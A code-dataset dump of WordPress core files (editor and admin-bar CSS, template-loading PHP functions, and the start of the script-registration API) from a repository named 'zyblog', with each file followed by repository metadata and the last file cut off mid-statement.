.fullscreen-overlay { background: #fff; } .wp-fullscreen-focus #wp-fullscreen-title, .wp-fullscreen-focus #wp-fullscreen-container { border-color: #ccc; } #fullscreen-topbar { border-bottom-color: #DFDFDF; background: #f1f1f1; background-image: -webkit-gradient(linear, left bottom, left top, from(#ececec), to(#f9f9f9)); background-image: -webkit-linear-gradient(bottom, #ececec, #f9f9f9); background-image: -moz-linear-gradient(bottom, #ececec, #f9f9f9); background-image: -o-linear-gradient(bottom, #ececec, #f9f9f9); background-image: linear-gradient(to top, #ececec, #f9f9f9); } /* =CSS 3 transitions -------------------------------------------------------------- */ .fade-1000, .fade-600, .fade-400, .fade-300 { opacity: 0; -moz-transition-property: opacity; -webkit-transition-property: opacity; -o-transition-property: opacity; transition-property: opacity; } .fade-1000 { -moz-transition-duration: 1s; -webkit-transition-duration: 1s; -o-transition-duration: 1s; transition-duration: 1s; } .fade-600 { -moz-transition-duration: 0.6s; -webkit-transition-duration: 0.6s; -o-transition-duration: 0.6s; transition-duration: 0.6s; } .fade-400 { -moz-transition-duration: 0.4s; -webkit-transition-duration: 0.4s; -o-transition-duration: 0.4s; transition-duration: 0.4s; } .fade-300 { -moz-transition-duration: 0.3s; -webkit-transition-duration: 0.3s; -o-transition-duration: 0.3s; transition-duration: 0.3s; } .fade-trigger { opacity: 1; } /* Distraction Free Writing - RTL * =Overlay Styles -------------------------------------------------------------- */ /* No RTL for now, this space intentionally left blank */ /* =Overlay Body -------------------------------------------------------------- */ .rtl #wp-fullscreen-tagline { float: left; } /* =Top bar -------------------------------------------------------------- */ .rtl #fullscreen-topbar { left:auto; right: 0; } .rtl #wp-fullscreen-mode-bar, .rtl #wp-fullscreen-button-bar, .rtl #wp-fullscreen-close, .rtl #wp-fullscreen-count { float: right; } .rtl #wp-fullscreen-save { float: left; } .rtl #wp-fullscreen-save { padding: 2px 5px 0 2px; } .rtl #wp-fullscreen-buttons > div { float: right; } .rtl #wp-fullscreen-mode-bar { padding: 1px 0 0 14px; } .rtl #wp-fullscreen-modes a { float: right; border-width: 1px 0 1px 1px; } .rtl #wp-fullscreen-modes a:first-child { -webkit-border-top-left-radius: 0; -webkit-border-top-right-radius: 3px; -webkit-border-bottom-left-radius: 0; -webkit-border-bottom-right-radius: 3px; border-width: 1px; border-top-left-radius: 0; border-top-right-radius: 3px; border-bottom-left-radius: 0; border-bottom-right-radius: 3px; } .rtl #wp-fullscreen-modes a:last-child { -webkit-border-top-right-radius: 0; -webkit-border-top-left-radius: 3px; -webkit-border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 3px; border-top-right-radius: 0; border-top-left-radius: 3px; border-bottom-right-radius: 0; border-bottom-left-radius: 3px; } .rtl #wp-fullscreen-save img, .rtl #wp-fullscreen-save span { padding-right: 0; padding-left: 4px; } /* =Thickbox Adjustments -------------------------------------------------------------- */ /* No RTL for now, this space intentionally left blank */ /* =TinyMCE Adjustments -------------------------------------------------------------- */ /* No RTL for now, this space intentionally left blank */ /* HiDPI */ @media print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) { .wp_themeSkin span.mce_undo, .wp_themeSkin span.mce_redo, .wp_themeSkin span.mce_bullist, .wp_themeSkin span.mce_numlist, .wp_themeSkin span.mce_blockquote, .wp_themeSkin span.mce_charmap, .wp_themeSkin span.mce_bold, .wp_themeSkin span.mce_italic, .wp_themeSkin span.mce_underline, .wp_themeSkin span.mce_justifyleft, .wp_themeSkin span.mce_justifyright, .wp_themeSkin span.mce_justifycenter, .wp_themeSkin span.mce_justifyfull, .wp_themeSkin span.mce_indent, .wp_themeSkin span.mce_outdent, .wp_themeSkin span.mce_link, .wp_themeSkin span.mce_unlink, .wp_themeSkin span.mce_help, .wp_themeSkin span.mce_removeformat, .wp_themeSkin span.mce_fullscreen, .wp_themeSkin span.mce_wp_fullscreen, .wp_themeSkin span.mce_media, .wp_themeSkin span.mce_pastetext, .wp_themeSkin span.mce_pasteword, .wp_themeSkin span.mce_wp_help, .wp_themeSkin span.mce_wp_adv, .wp_themeSkin span.mce_wp_more, .wp_themeSkin span.mce_strikethrough, .wp_themeSkin span.mce_spellchecker, .wp_themeSkin span.mce_forecolor, .wp_themeSkin .mce_forecolorpicker, .wp_themeSkin .mceSplitButton .mce_spellchecker span.mce_spellchecker, .wp_themeSkin .mceSplitButton .mce_forecolor span.mce_forecolor, .wp_themeSkin .mceSplitButton span.mce_numlist, .wp_themeSkin .mceSplitButton span.mce_bullist { background-image: url('../images/wpicons-2x.png?ver=20120720'); background-size: 560px 40px; } .wp-media-buttons .add_media span.wp-media-buttons-icon, #wp-fullscreen-buttons #wp_fs_image span.mce_image { background-image: url('../../wp-admin/images/media-button-2x.png'); background-size: 16px 16px; } .wp_themeSkin .mceListBox .mceOpen, .wp_themeSkin .mceListBoxHover .mceOpen, .wp_themeSkin .mceListBoxSelected .mceOpen, .wp_themeSkin table.mceListBoxEnabled .mceOpen { background-image: url('../images/down_arrow-2x.gif'); background-size: 10px 20px; } .wp_themeSkin .mceSplitButtonEnabled a.mceOpen, .wp_themeSkin .mceSplitButtonSelected a.mceOpen, .wp_themeSkin .mceSplitButtonActive a.mceOpen, .wp_themeSkin .mceSplitButtonEnabled:hover a.mceOpen { background-image: url('../images/down_arrow-2x.gif'); background-size: 10px 20px; } #wp-link .toggle-arrow { background: transparent url('../images/toggle-arrow-2x.png') top left no-repeat; background-size: 19px 69px; } }
zyblog
trunk/zyblog/wp-includes/css/editor.css
CSS
asf20
52,729
#wpadminbar * { height: auto; width: auto; margin: 0; padding: 0; position: static; text-transform: none; letter-spacing: normal; line-height: 1; font: normal 13px/28px sans-serif; color: #ccc; text-shadow: #444 0px -1px 0px; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } #wpadminbar ul li:before, #wpadminbar ul li:after { content: normal; } #wpadminbar a, #wpadminbar a:hover, #wpadminbar a img, #wpadminbar a img:hover { outline: none; border: none; text-decoration: none; background: none; } #wpadminbar a:focus, #wpadminbar a:active, #wpadminbar input[type="text"], #wpadminbar input[type="password"], #wpadminbar input[type="number"], #wpadminbar input[type="search"], #wpadminbar input[type="email"], #wpadminbar input[type="url"], #wpadminbar select, #wpadminbar textarea, #wpadminbar div { outline: none; } #wpadminbar { direction: ltr; color: #ccc; font: normal 13px/28px sans-serif; height: 28px; position: fixed; top: 0; left: 0; width: 100%; min-width: 600px; /* match the min-width of the body in wp-admin.css */ z-index: 99999; background: #464646; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #373737), color-stop(18%, #464646)); background-image: -webkit-linear-gradient(bottom, #373737 0, #464646 5px); background-image: -moz-linear-gradient(bottom, #373737 0, #464646 5px); background-image: -o-linear-gradient(bottom, #373737 0, #464646 5px); background-image: linear-gradient(to top, #373737 0, #464646 5px); } #wpadminbar .ab-sub-wrapper, #wpadminbar ul, #wpadminbar ul li { background: none; clear: none; list-style: none; margin: 0; padding: 0; position: relative; text-indent: 0; z-index: 99999; } #wpadminbar .quicklinks { border-left: 1px solid transparent; } #wpadminbar .quicklinks ul { text-align: left; } #wpadminbar li { float: left; } #wpadminbar .ab-empty-item { outline: none; } #wpadminbar .quicklinks > ul > li { border-right: 1px solid #555; } #wpadminbar .quicklinks > ul > li > a, #wpadminbar .quicklinks > ul > li > .ab-empty-item { border-right: 1px solid #333; } #wpadminbar .quicklinks .ab-top-secondary > li { border-left: 1px solid #333; border-right: 0; float: right; } #wpadminbar .quicklinks .ab-top-secondary > li > a, #wpadminbar .quicklinks .ab-top-secondary > li > .ab-empty-item { border-left: 1px solid #555; border-right: 0; } #wpadminbar .quicklinks a, #wpadminbar .quicklinks .ab-empty-item, #wpadminbar .shortlink-input { height: 28px; display: block; padding: 0 12px; margin: 0; } #wpadminbar .menupop .ab-sub-wrapper, #wpadminbar .shortlink-input { margin: 0 0 0 -1px; padding: 0; -webkit-box-shadow: 0 4px 4px rgba(0,0,0,0.2); box-shadow: 0 4px 4px rgba(0,0,0,0.2); background: #fff; display: none; position: absolute; float: none; border-width: 0 1px 1px 1px; border-style: solid; border-color: #dfdfdf; } #wpadminbar.ie7 .menupop .ab-sub-wrapper, #wpadminbar.ie7 .shortlink-input { top: 28px; left: 0; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: 100%; } #wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper { right: 0; left: auto; margin: 0 -1px 0 0; } #wpadminbar .ab-sub-wrapper > .ab-submenu:first-child { border-top: none; } #wpadminbar .ab-submenu { padding: 6px 0; border-top: 1px solid #dfdfdf; } #wpadminbar .selected .shortlink-input { display: block; } #wpadminbar .quicklinks .menupop ul li { float: none; } #wpadminbar .quicklinks .menupop ul li a strong { font-weight: bold; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 26px; height: 26px; text-shadow: none; white-space: nowrap; min-width: 140px; } #wpadminbar .shortlink-input { width: 200px; } #wpadminbar.nojs li:hover > .ab-sub-wrapper, #wpadminbar li.hover > .ab-sub-wrapper { display: block; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-left: 100%; margin-top: -33px; border-width: 1px; } #wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper, #wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper { margin-left: 0; left: inherit; right: 100%; } #wpadminbar .ab-top-menu > li:hover > .ab-item, #wpadminbar .ab-top-menu > li.hover > .ab-item, #wpadminbar .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus { color: #fafafa; background: #222; background-image: -webkit-gradient(linear, left bottom, left top, from(#3a3a3a), to(#222)); background-image: -webkit-linear-gradient(bottom, #3a3a3a, #222); background-image: -moz-linear-gradient(bottom, #3a3a3a, #222); background-image: -o-linear-gradient(bottom, #3a3a3a, #222); background-image: linear-gradient(to top, #3a3a3a, #222); } #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { background: #fff; color: #333; text-shadow: none; border-right-color: transparent; border-left-color: transparent; } #wpadminbar .hover .ab-label, #wpadminbar.nojq .ab-item:focus .ab-label { color: #fafafa; } #wpadminbar .menupop.hover .ab-label { color: #333; text-shadow: none; } #wpadminbar .menupop li:hover, #wpadminbar .menupop li.hover, #wpadminbar .quicklinks .menupop .ab-item:focus, #wpadminbar .quicklinks .ab-top-menu .menupop .ab-item:focus { background-color: #eaf2fa; } #wpadminbar .ab-submenu .ab-item { color: #333; text-shadow: none; } #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #21759B; } #wpadminbar .menupop .menupop > .ab-item { display: block; background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: 95% -20px; background-repeat: no-repeat; padding-right: 2em; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item { background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: 5% -46px; background-repeat: no-repeat; padding-left: 2em; padding-right: 1em; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary { display: block; position: relative; right: auto; margin: 0; background: #eee; -webkit-box-shadow: none; box-shadow: none; } #wpadminbar .quicklinks .menupop .ab-sub-secondary > li:hover, #wpadminbar .quicklinks .menupop .ab-sub-secondary > li.hover, #wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus { background-color: #dfdfdf; } #wpadminbar .quicklinks a span#ab-updates { background: #eee; color: #333; text-shadow: none; display: inline; padding: 2px 5px; font-size: 10px; font-weight: bold; -webkit-border-radius: 10px; border-radius: 10px; } #wpadminbar .quicklinks a:hover span#ab-updates { background: #fff; color: #000; } #wpadminbar .ab-top-secondary { float: right; background: #464646; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #373737), color-stop(18%, #464646)); background-image: -webkit-linear-gradient(bottom, #373737 0, #464646 5px); background-image: -moz-linear-gradient(bottom, #373737 0, #464646 5px); background-image: -o-linear-gradient(bottom, #373737 0, #464646 5px); background-image: linear-gradient(to top, #373737 0, #464646 5px); } #wpadminbar ul li:last-child, #wpadminbar ul li:last-child .ab-item { border-right: 0; -webkit-box-shadow: none; box-shadow: none; } /** * My Account */ #wp-admin-bar-my-account > ul { min-width: 198px; } #wp-admin-bar-my-account.with-avatar > ul { min-width: 270px; } #wpadminbar #wp-admin-bar-user-actions > li { margin-left: 16px; margin-right: 16px; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin-left: 88px; } #wp-admin-bar-user-actions > li > .ab-item { padding-left: 8px; } #wpadminbar #wp-admin-bar-user-info { margin-top: 6px; margin-bottom: 15px; height: auto; background: none; } #wp-admin-bar-user-info .avatar { position: absolute; left: -72px; top: 4px; width: 64px; height: 64px; } #wpadminbar #wp-admin-bar-user-info a { background: none; height: auto; } #wpadminbar #wp-admin-bar-user-info span { background: none; padding: 0; height: 18px; } #wpadminbar #wp-admin-bar-user-info .display-name, #wpadminbar #wp-admin-bar-user-info .username { text-shadow: none; display: block; } #wpadminbar #wp-admin-bar-user-info .display-name { color: #333; } #wpadminbar #wp-admin-bar-user-info .username { color: #999; font-size: 11px; } #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { width: 16px; height: 16px; border: 1px solid #999; padding: 0; background: #eee; line-height: 24px; vertical-align: middle; margin: -3px 0 0 6px; float: none; display: inline; } /* * My Sites */ #wpadminbar .quicklinks li .blavatar { vertical-align: middle; margin: -3px 4px 0 0; padding: 0; } #wpadminbar .quicklinks li div.blavatar { background: url('../images/wpmini-blue.png') no-repeat; height: 16px; width: 16px; display: inline-block; } /** * Search */ #wpadminbar #wp-admin-bar-search .ab-item { padding: 0; } #wpadminbar #wp-admin-bar-search .ab-item { /* default background */ background: transparent; } #wpadminbar #adminbarsearch { height: 28px; padding: 0 2px; } #wpadminbar #adminbarsearch .adminbar-input { font: 13px/24px sans-serif; height: 24px; width: 24px; border: none; padding: 0 3px 0 23px; margin: 0; color: #ccc; text-shadow: #444 0px -1px 0px; background-color: rgba( 255, 255, 255, 0 ); background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: 3px 2px; background-repeat: no-repeat; outline: none; cursor: pointer; -webkit-border-radius: 3px; border-radius: 3px; -webkit-box-shadow: none; box-shadow: none; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; -ms-box-sizing: border-box; box-sizing: border-box; -webkit-transition-duration: 400ms; -webkit-transition-property: width, background; -webkit-transition-timing-function: ease; -moz-transition-duration: 400ms; -moz-transition-property: width, background; -moz-transition-timing-function: ease; -o-transition-duration: 400ms; -o-transition-property: width, background; -o-transition-timing-function: ease; } #wpadminbar.ie7 #adminbarsearch .adminbar-input { margin-top: 1px; width: 120px; } #wpadminbar #adminbarsearch .adminbar-input:focus { color: #555; text-shadow: 0 1px 0 #fff; width: 200px; background-color: rgba( 255, 255, 255, 0.9 ); cursor: text; } #wpadminbar.ie8 #adminbarsearch .adminbar-input { background-color: #464646; } #wpadminbar.ie8 #adminbarsearch .adminbar-input:focus { background-color: #fff; } /* Two rules to ensure browser recognition */ #wpadminbar #adminbarsearch .adminbar-input::-webkit-input-placeholder { color: #ddd; } #wpadminbar #adminbarsearch .adminbar-input:-moz-placeholder { color: #ddd; } #wpadminbar #adminbarsearch .adminbar-button { display: none; } /** * Site Menu */ #wpadminbar #wp-admin-bar-appearance { border-top: none; margin-top: -12px; } /** * Site Menu */ #wpadminbar #wp-admin-bar-appearance { border-top: none; margin-top: -12px; } /** * ICONS */ #wpadminbar .ab-icon { position: relative; float: left; width: 16px; height: 16px; margin-top: 6px; } #wpadminbar .ab-label { margin-left: 4px; } /** * WP Logo icon */ #wp-admin-bar-wp-logo > .ab-item .ab-icon { width: 20px; height: 20px; margin-top: 4px; background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: 0 -76px; background-repeat: no-repeat; } #wpadminbar.nojs #wp-admin-bar-wp-logo:hover > .ab-item .ab-icon, #wpadminbar #wp-admin-bar-wp-logo.hover > .ab-item .ab-icon { background-position: 0 -104px; } /** * Updates icon */ #wp-admin-bar-updates > .ab-item .ab-icon { background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: -2px -159px; background-repeat: no-repeat; } /** * Comments icon */ #wp-admin-bar-comments > .ab-item .ab-icon { background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: -1px -134px; background-repeat: no-repeat; } #wpadminbar span.count-0 { display: none; } /** * Add New icon */ #wpadminbar #wp-admin-bar-new-content > .ab-item .ab-icon { background-image: url(../images/admin-bar-sprite.png?d=20120830); background-position: -2px -182px; background-repeat: no-repeat; } /** * Add New icon */ #wpadminbar.nojs #wp-admin-bar-new-content:hover > .ab-item .ab-icon, #wpadminbar #wp-admin-bar-new-content.hover > .ab-item .ab-icon { background-position: -2px -203px; } /** * Customize support classes */ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } /** * Retina display 2x icons */ @media print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) { #wpadminbar .menupop .menupop > .ab-item, #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item, #wpadminbar #adminbarsearch .adminbar-input, #wp-admin-bar-wp-logo > .ab-item .ab-icon, #wp-admin-bar-updates > .ab-item .ab-icon, #wp-admin-bar-comments > .ab-item .ab-icon, #wpadminbar #wp-admin-bar-new-content > .ab-item .ab-icon { background-image: url(../images/admin-bar-sprite-2x.png?d=20120830); background-size: 20px 220px; } #wpadminbar .quicklinks li div.blavatar { background: url('../images/wpmini-blue-2x.png') no-repeat; background-size: 16px 16px; } } /* Skip link */ #wpadminbar .screen-reader-text, #wpadminbar .screen-reader-text span { position: absolute; left: -1000em; top: -1000em; height: 1px; width: 1px; overflow: hidden; } #wpadminbar .screen-reader-shortcut { position: absolute; top: -1000em; } #wpadminbar .screen-reader-shortcut:focus { left: 6px; top: 7px; height: auto; width: auto; display: block; font-size: 14px; font-weight: bold; padding: 15px 23px 14px; background: #f1f1f1; color: #21759b; text-shadow: none; border-radius: 3px; z-index: 100000; line-height: normal; -webkit-box-shadow: 0 0 2px 2px rgba(0,0,0,.6); box-shadow: 0 0 2px 2px rgba(0,0,0,.6); text-decoration: none; } /** * IE 6-targeted rules */ * html #wpadminbar { overflow: hidden; position: absolute; } * html #wpadminbar .quicklinks ul li a { float: left; } * html #wpadminbar .menupop a span { background-image: none; }
zyblog
trunk/zyblog/wp-includes/css/admin-bar.css
CSS
asf20
14,969
<?php /** * Template loading functions. * * @package WordPress * @subpackage Template */ /** * Retrieve path to a template * * Used to quickly retrieve the path of a template without including the file * extension. It will also check the parent theme, if the file exists, with * the use of {@link locate_template()}. Allows for more generic template location * without the use of the other get_*_template() functions. * * @since 1.5.0 * * @param string $type Filename without extension. * @param array $templates An optional list of template candidates * @return string Full path to file. */ function get_query_template( $type, $templates = array() ) { $type = preg_replace( '|[^a-z0-9-]+|', '', $type ); if ( empty( $templates ) ) $templates = array("{$type}.php"); return apply_filters( "{$type}_template", locate_template( $templates ) ); } /** * Retrieve path of index template in current or parent template. * * @since 3.0.0 * * @return string */ function get_index_template() { return get_query_template('index'); } /** * Retrieve path of 404 template in current or parent template. * * @since 1.5.0 * * @return string */ function get_404_template() { return get_query_template('404'); } /** * Retrieve path of archive template in current or parent template. * * @since 1.5.0 * * @return string */ function get_archive_template() { $post_types = get_query_var( 'post_type' ); $templates = array(); foreach ( (array) $post_types as $post_type ) $templates[] = "archive-{$post_type}.php"; $templates[] = 'archive.php'; return get_query_template( 'archive', $templates ); } /** * Retrieve path of author template in current or parent template. * * @since 1.5.0 * * @return string */ function get_author_template() { $author = get_queried_object(); $templates = array(); if ( $author ) { $templates[] = "author-{$author->user_nicename}.php"; $templates[] = "author-{$author->ID}.php"; } $templates[] = 'author.php'; return get_query_template( 'author', $templates ); } /** * Retrieve path of category template in current or parent template. * * Works by first retrieving the current slug for example 'category-default.php' and then * trying category ID, for example 'category-1.php' and will finally fallback to category.php * template, if those files don't exist. * * @since 1.5.0 * @uses apply_filters() Calls 'category_template' on file path of category template. * * @return string */ function get_category_template() { $category = get_queried_object(); $templates = array(); if ( $category ) { $templates[] = "category-{$category->slug}.php"; $templates[] = "category-{$category->term_id}.php"; } $templates[] = 'category.php'; return get_query_template( 'category', $templates ); } /** * Retrieve path of tag template in current or parent template. * * Works by first retrieving the current tag name, for example 'tag-wordpress.php' and then * trying tag ID, for example 'tag-1.php' and will finally fallback to tag.php * template, if those files don't exist. * * @since 2.3.0 * @uses apply_filters() Calls 'tag_template' on file path of tag template. * * @return string */ function get_tag_template() { $tag = get_queried_object(); $templates = array(); if ( $tag ) { $templates[] = "tag-{$tag->slug}.php"; $templates[] = "tag-{$tag->term_id}.php"; } $templates[] = 'tag.php'; return get_query_template( 'tag', $templates ); } /** * Retrieve path of taxonomy template in current or parent template. * * Retrieves the taxonomy and term, if term is available. The template is * prepended with 'taxonomy-' and followed by both the taxonomy string and * the taxonomy string followed by a dash and then followed by the term. * * The taxonomy and term template is checked and used first, if it exists. * Second, just the taxonomy template is checked, and then finally, taxonomy.php * template is used. If none of the files exist, then it will fall back on to * index.php. * * @since 2.5.0 * @uses apply_filters() Calls 'taxonomy_template' filter on found path. * * @return string */ function get_taxonomy_template() { $term = get_queried_object(); $templates = array(); if ( $term ) { $taxonomy = $term->taxonomy; $templates[] = "taxonomy-$taxonomy-{$term->slug}.php"; $templates[] = "taxonomy-$taxonomy.php"; } $templates[] = 'taxonomy.php'; return get_query_template( 'taxonomy', $templates ); } /** * Retrieve path of date template in current or parent template. * * @since 1.5.0 * * @return string */ function get_date_template() { return get_query_template('date'); } /** * Retrieve path of home template in current or parent template. * * This is the template used for the page containing the blog posts * * Attempts to locate 'home.php' first before falling back to 'index.php'. * * @since 1.5.0 * @uses apply_filters() Calls 'home_template' on file path of home template. * * @return string */ function get_home_template() { $templates = array( 'home.php', 'index.php' ); return get_query_template( 'home', $templates ); } /** * Retrieve path of front-page template in current or parent template. * * Looks for 'front-page.php'. * * @since 3.0.0 * @uses apply_filters() Calls 'front_page_template' on file path of template. * * @return string */ function get_front_page_template() { $templates = array('front-page.php'); return get_query_template( 'front_page', $templates ); } /** * Retrieve path of page template in current or parent template. * * Will first look for the specifically assigned page template * The will search for 'page-{slug}.php' followed by 'page-id.php' * and finally 'page.php' * * @since 1.5.0 * * @return string */ function get_page_template() { $id = get_queried_object_id(); $template = get_page_template_slug(); $pagename = get_query_var('pagename'); if ( ! $pagename && $id ) { // If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object $post = get_queried_object(); $pagename = $post->post_name; } $templates = array(); if ( $template && 0 === validate_file( $template ) ) $templates[] = $template; if ( $pagename ) $templates[] = "page-$pagename.php"; if ( $id ) $templates[] = "page-$id.php"; $templates[] = 'page.php'; return get_query_template( 'page', $templates ); } /** * Retrieve path of paged template in current or parent template. * * @since 1.5.0 * * @return string */ function get_paged_template() { return get_query_template('paged'); } /** * Retrieve path of search template in current or parent template. * * @since 1.5.0 * * @return string */ function get_search_template() { return get_query_template('search'); } /** * Retrieve path of single template in current or parent template. * * @since 1.5.0 * * @return string */ function get_single_template() { $object = get_queried_object(); $templates = array(); if ( $object ) $templates[] = "single-{$object->post_type}.php"; $templates[] = "single.php"; return get_query_template( 'single', $templates ); } /** * Retrieve path of attachment template in current or parent template. * * The attachment path first checks if the first part of the mime type exists. * The second check is for the second part of the mime type. The last check is * for both types separated by an underscore. If neither are found then the file * 'attachment.php' is checked and returned. * * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and * finally 'text_plain.php'. * * @since 2.0.0 * * @return string */ function get_attachment_template() { global $posts; if ( ! empty( $posts ) && isset( $posts[0]->post_mime_type ) ) { $type = explode( '/', $posts[0]->post_mime_type ); if ( ! empty( $type ) ) { if ( $template = get_query_template( $type[0] ) ) return $template; elseif ( $template = get_query_template( $type[1] ) ) return $template; elseif ( $template = get_query_template( "$type[0]_$type[1]" ) ) return $template; } } return get_query_template( 'attachment' ); } /** * Retrieve path of comment popup template in current or parent template. * * Checks for comment popup template in current template, if it exists or in the * parent template. * * @since 1.5.0 * @uses apply_filters() Calls 'comments_popup_template' filter on path. * * @return string */ function get_comments_popup_template() { $template = get_query_template( 'comments_popup', array( 'comments-popup.php' ) ); // Backward compat code will be removed in a future release if ('' == $template) $template = ABSPATH . WPINC . '/theme-compat/comments-popup.php'; return $template; } /** * Retrieve the name of the highest priority template file that exists. * * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which * inherit from a parent theme can just overload one file. * * @since 2.7.0 * * @param string|array $template_names Template file(s) to search for, in order. * @param bool $load If true the template file will be loaded if it is found. * @param bool $require_once Whether to require_once or require. Default true. Has no effect if $load is false. * @return string The template filename if one is located. */ function locate_template($template_names, $load = false, $require_once = true ) { $located = ''; foreach ( (array) $template_names as $template_name ) { if ( !$template_name ) continue; if ( file_exists(STYLESHEETPATH . '/' . $template_name)) { $located = STYLESHEETPATH . '/' . $template_name; break; } else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) { $located = TEMPLATEPATH . '/' . $template_name; break; } } if ( $load && '' != $located ) load_template( $located, $require_once ); return $located; } /** * Require the template file with WordPress environment. * * The globals are set up for the template file to ensure that the WordPress * environment is available from within the function. The query variables are * also available. * * @since 1.5.0 * * @param string $_template_file Path to template file. * @param bool $require_once Whether to require_once or require. Default true. */ function load_template( $_template_file, $require_once = true ) { global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID; if ( is_array( $wp_query->query_vars ) ) extract( $wp_query->query_vars, EXTR_SKIP ); if ( $require_once ) require_once( $_template_file ); else require( $_template_file ); }
zyblog
trunk/zyblog/wp-includes/template.php
PHP
asf20
10,638
<?php /** * BackPress script procedural API. * * @package BackPress * @since r16 */ /** * Prints script tags in document head. * * Called by admin-header.php and by wp_head hook. Since it is called by wp_head * on every page load, the function does not instantiate the WP_Scripts object * unless script names are explicitly passed. Does make use of already * instantiated $wp_scripts if present. Use provided wp_print_scripts hook to * register/enqueue new scripts. * * @since r16 * @see WP_Dependencies::print_scripts() */ function wp_print_scripts( $handles = false ) { do_action( 'wp_print_scripts' ); if ( '' === $handles ) // for wp_head $handles = false; global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); if ( !$handles ) return array(); // No need to instantiate if nothing is there. else $wp_scripts = new WP_Scripts(); } return $wp_scripts->do_items( $handles ); } /** * Register new Javascript file. * * @since r16 * @param string $handle Script name * @param string $src Script url * @param array $deps (optional) Array of script names on which this script depends * @param string|bool $ver (optional) Script version (used for cache busting), set to null to disable * @param bool $in_footer (optional) Whether to enqueue the script before </head> or before </body> * @return null */ function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) { global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); $wp_scripts = new WP_Scripts(); } $wp_scripts->add( $handle, $src, $deps, $ver ); if ( $in_footer ) $wp_scripts->add_data( $handle, 'group', 1 ); } /** * Wrapper for $wp_scripts->localize(). * * Used to localizes a script. * Works only if the script has already been added. * Accepts an associative array $l10n and creates JS object: * "$object_name" = { * key: value, * key: value, * ... * } * See http://core.trac.wordpress.org/ticket/11520 for more information. * * @since r16 * * @param string $handle The script handle that was registered or used in script-loader * @param string $object_name Name for the created JS object. This is passed directly so it should be qualified JS variable /[a-zA-Z0-9_]+/ * @param array $l10n Associative PHP array containing the translated strings. HTML entities will be converted and the array will be JSON encoded. * @return bool Whether the localization was added successfully. */ function wp_localize_script( $handle, $object_name, $l10n ) { global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); return false; } return $wp_scripts->localize( $handle, $object_name, $l10n ); } /** * Remove a registered script. * * @since r16 * @see WP_Scripts::remove() For parameter information. */ function wp_deregister_script( $handle ) { global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); $wp_scripts = new 